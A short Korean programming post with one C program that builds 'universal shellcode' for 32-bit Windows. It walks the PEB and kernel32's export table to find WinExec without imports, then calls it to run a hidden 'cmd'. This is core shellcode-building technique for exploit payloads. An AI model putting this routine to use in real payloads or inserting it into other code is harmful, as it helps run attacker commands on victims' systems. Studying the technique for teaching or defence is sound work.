유니버셜 쉘코드 C언어로 쓰기

#include <stdio.h>
#include <string.h>
#include <Windows.h>




char *GetPeb(){
    char *pPeb;
    __asm__("movl %%fs:0x30, %0" : "=r" (pPeb) : : );
    return pPeb;
}



int main(){
    char *WinExec = "WinExec";
    
    char *peb_addr = GetPeb();
    char *peb_ldr_data = (char *)*(int *)(peb_addr+12);
    char *InMemoryModuleList = (char *)*(int *)(peb_ldr_data+20);
    char *ntdll_addr = (char *)*(int *)(InMemoryModuleList);
    char *kernel32_addr = (char *)*(int *)(ntdll_addr);
    char *base_dll_addr = (char *)*(int *)(kernel32_addr + 0x10);
    int pe_header_offset = (char *)*(int *)(base_dll_addr + 0x3c);
    char *export_table_rva = (char *)*(int *)(base_dll_addr + pe_header_offset + 0x78);
    char *array_addr = (char *)(export_table_rva + (int)base_dll_addr + 0x20);
    char *number_of_name = (char *)(export_table_rva + pe_header_offset + 0x14);
    char *pointer_table = (char *)(base_dll_addr+*(int *)array_addr);
    
    
    int i = 0;
    while (1){
        char *strcmp_1_argument = (char *)*(int *)(pointer_table + i*4) + (int)base_dll_addr;
        if (strcmp(strcmp_1_argument, WinExec) == 0){
            break;
        }
        i++;
    }
    int function_num = i;
    
    
    char *ordinal_table_rva = base_dll_addr + (int)*(int *)(base_dll_addr + (int)export_table_rva + 0x24);
    char *address_table_rva = base_dll_addr + (int)*(int *)(base_dll_addr + (int)export_table_rva + 0x1c);
    int plus_num = (int)*(short *)(ordinal_table_rva + function_num*2);

    char *function_addr = base_dll_addr + (int)*(int *)(address_table_rva + plus_num*4);

    int (*function)(char *,int);
    function = function_addr;
    function("cmd",0);
    
    
    return 0;
}